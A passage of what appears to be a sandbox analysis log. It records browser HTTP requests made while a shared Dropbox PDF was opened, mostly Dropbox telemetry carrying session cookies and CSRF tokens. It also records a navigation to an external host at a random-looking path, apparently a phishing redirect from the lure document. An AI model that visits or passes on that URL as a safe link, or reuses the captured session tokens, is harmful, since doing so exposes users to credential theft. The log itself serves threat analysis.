necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /p/pdf_img/ACfTzUXl_-wzxnWsLTHFCx0IfvRafNzyt5i8IFDjSaVizvGmVdBdAX1vzTMJZmt-Z7rkD5Y_z2OdfsJYNp6HX-A6glo6iDfe3VpR4yA8lms3ubOpjzv5GyHHcIgbGmGncoDJhu7t1sfu4w_uXA1JW4xTqH-V-a_TKJ7JhqZt1Q6TVydmStjjlyanEZq3mBg-7v2yeYIK-XPgxbDNtwsgriQQFE-vwdW9TJrhQLb2TTK5K4ABqXOkpfqBayNNJ4iOMqdiCd6-t_zqZArOhP7bz7B4PrcIehSGcUVwBz2fn54TqJDf1_cDqnetl-mo3Fnl9eTgtRIMkD9TtHfnOev6odc5ptGJZl0NpTVpCtM7kQt-TOJ4eNDcMw4WyjIqhWsYrV4/p.png?is_prewarmed=true&page=0 HTTP/1.1Host: uc7a9ba0505dedffb2a40a9fc644.previews.dropboxusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.dropbox.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2/seen_state/logged_out/log_file_view HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0 HTTP/1.1Host: d.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t=QaOB2p9E3FzER2bfFEleC_wa; locale=en; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /1/update HTTP/1.1Host: beacon.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t=QaOB2p9E3FzER2bfFEleC_wa; locale=en; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0 HTTP/1.1Host: d.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t=QaOB2p9E3FzER2bfFEleC_wa; locale=en; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /2/udcl/log_timing HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /p/pdf_img/ACfTzUXl_-wzxnWsLTHFCx0IfvRafNzyt5i8IFDjSaVizvGmVdBdAX1vzTMJZmt-Z7rkD5Y_z2OdfsJYNp6HX-A6glo6iDfe3VpR4yA8lms3ubOpjzv5GyHHcIgbGmGncoDJhu7t1sfu4w_uXA1JW4xTqH-V-a_TKJ7JhqZt1Q6TVydmStjjlyanEZq3mBg-7v2yeYIK-XPgxbDNtwsgriQQFE-vwdW9TJrhQLb2TTK5K4ABqXOkpfqBayNNJ4iOMqdiCd6-t_zqZArOhP7bz7B4PrcIehSGcUVwBz2fn54TqJDf1_cDqnetl-mo3Fnl9eTgtRIMkD9TtHfnOev6odc5ptGJZl0NpTVpCtM7kQt-TOJ4eNDcMw4WyjIqhWsYrV4/p.png?is_prewarmed=true&page=0 HTTP/1.1Host: uc7a9ba0505dedffb2a40a9fc644.previews.dropboxusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2/pap_event_logging/log_events HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0 HTTP/1.1Host: d.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t=QaOB2p9E3FzER2bfFEleC_wa; locale=en; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /p/pdf_img/ACfTzUXl_-wzxnWsLTHFCx0IfvRafNzyt5i8IFDjSaVizvGmVdBdAX1vzTMJZmt-Z7rkD5Y_z2OdfsJYNp6HX-A6glo6iDfe3VpR4yA8lms3ubOpjzv5GyHHcIgbGmGncoDJhu7t1sfu4w_uXA1JW4xTqH-V-a_TKJ7JhqZt1Q6TVydmStjjlyanEZq3mBg-7v2yeYIK-XPgxbDNtwsgriQQFE-vwdW9TJrhQLb2TTK5K4ABqXOkpfqBayNNJ4iOMqdiCd6-t_zqZArOhP7bz7B4PrcIehSGcUVwBz2fn54TqJDf1_cDqnetl-mo3Fnl9eTgtRIMkD9TtHfnOev6odc5ptGJZl0NpTVpCtM7kQt-TOJ4eNDcMw4WyjIqhWsYrV4/p.png?is_prewarmed=true&page=0&width=480 HTTP/1.1Host: uc7a9ba0505dedffb2a40a9fc644.previews.dropboxusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.dropbox.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.well-known/web-identity HTTP/1.1Host: www.google.comConnection: keep-aliveAccept: application/jsonSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: webidentityUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/pdf_img/ACfTzUXl_-wzxnWsLTHFCx0IfvRafNzyt5i8IFDjSaVizvGmVdBdAX1vzTMJZmt-Z7rkD5Y_z2OdfsJYNp6HX-A6glo6iDfe3VpR4yA8lms3ubOpjzv5GyHHcIgbGmGncoDJhu7t1sfu4w_uXA1JW4xTqH-V-a_TKJ7JhqZt1Q6TVydmStjjlyanEZq3mBg-7v2yeYIK-XPgxbDNtwsgriQQFE-vwdW9TJrhQLb2TTK5K4ABqXOkpfqBayNNJ4iOMqdiCd6-t_zqZArOhP7bz7B4PrcIehSGcUVwBz2fn54TqJDf1_cDqnetl-mo3Fnl9eTgtRIMkD9TtHfnOev6odc5ptGJZl0NpTVpCtM7kQt-TOJ4eNDcMw4WyjIqhWsYrV4/p.png?is_prewarmed=true&page=0&width=480 HTTP/1.1Host: uc7a9ba0505dedffb2a40a9fc644.previews.dropboxusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pithos_api_helper_validation HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /log/blocked HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:25:59.170Z","expireDate":"2025-06-27T21:25:59.170Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_fingerprintjs_fpjs-pro-static_fp-vflLEHw5n.js HTTP/1.1Host: www.dropboxstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.dropbox.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.dropbox.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_fingerprintjs_fpjs-pro-static_fp-vflLEHw5n.js HTTP/1.1Host: www.dropboxstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /CrbU/a8tlQRW/kdnryYu/iOjwI?q=hSrgVEjs3amxLolocQ18 HTTP/1.1Host: fp.dropbox.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /CrbU/a8tlQRW/kdnryYu/iOjwI?q=hSrgVEjs3amxLolocQ18 HTTP/1.1Host: fp.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t=QaOB2p9E3FzER2bfFEleC_wa; locale=en; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:26:12.999Z","expireDate":"2025-06-27T21:26:12.999Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":true,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /2/udcl/log_timing HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:26:12.999Z","expireDate":"2025-06-27T21:26:12.999Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":true,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /2/pap_event_logging/log_events HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:26:12.999Z","expireDate":"2025-06-27T21:26:12.999Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":true,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /pageview?ex=&pvt=n&la=en-US&uc=0&url=https%3A%2F%2Fwww.dropbox.com%2Fscl%2Ffi%2Flncgsm76k7l5ix7fuu5t6%2F2024-OK-House-Outreach.pdf%3Frlkey%3Do4qr50zpdw1z14o6ikdg6zjt8%26e%3D1%26st%3Dlrloyzlo%26dl%3D0&dr=&dw=1280&dh=907&ww=1280&wh=907&sw=1280&sh=1024&uu=bd324a13-fdc5-aa22-bbb7-2eb7b1282f67&sn=1&hd=1735338404&v=15.36.2&pid=5416&pn=1&r=881692 HTTP/1.1Host: c.contentsquare.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.dropbox.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w3ertyuiu8y7654ty/ HTTP/1.1Host: outsourcel.com.auConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /alternate_wtl_browser_performance_info HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:26:12.999Z","expireDate":"2025-06-27T21:26:12.999Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":true,"numDots":1}; _cs_c=0; _cs_id=bd324a13-fdc5-aa22-bbb7-2eb7b1282f67.1735338404.1.1735338404.1735338404.1724166274.1769502404442.1; _cs_s=1.0.0.9.1735340204510
Source: global traffic	HTTP traffic detected: GET /log_js_sw_data HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:26:12.999Z","expireDate":"2025-06-27T21:26:12.999Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":true,"numDots":1}; _cs_c=0; _cs_id=bd324a13-fdc5-aa22-bbb7-2eb7b1282f67.1735338404.1.1735338404.1735338404.1724166274.1769502404442.1; _cs_s=1.0.0.9.1735340204510
Source: global traffic	HTTP traffic detected: GET /alternate_wtl HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:26:12.999Z","expireDate":"2025-06-27T21:26:12.999Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":true,"numDots":1}; _cs_c=0; _cs_id=bd324a13-fdc5-aa22-bbb7-2eb7b1282f67.1735338404.1.1735338404.1735338404.1724166274.1769502404442.1; _cs_s=1.0.0.9.1735340204510
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: outsourcel.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: Kdxgqxink4UuVWatIdFhdDxLRJE=aN01wBaAuFY2Bu0r06bOjWVdp4s; cMGWmeq81qJ03eJF3w1rUMvt66Q=1735338401; 8HQcF576TSaIW7Yz8kXvw85d3L0=1735424801; 9ZcEtyq2AxyTrUiX1rW2fDjGHwQ=8tCy29oUc4hGf-tV1DGKojq6OGo; TtsIdYVCTm67I_X3aqeS7lcFuOg=24V5fd_SqGfynCsHmAJbl9ySndA
Source: global traffic	HTTP traffic detected: GET /log_js_sw_data HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; 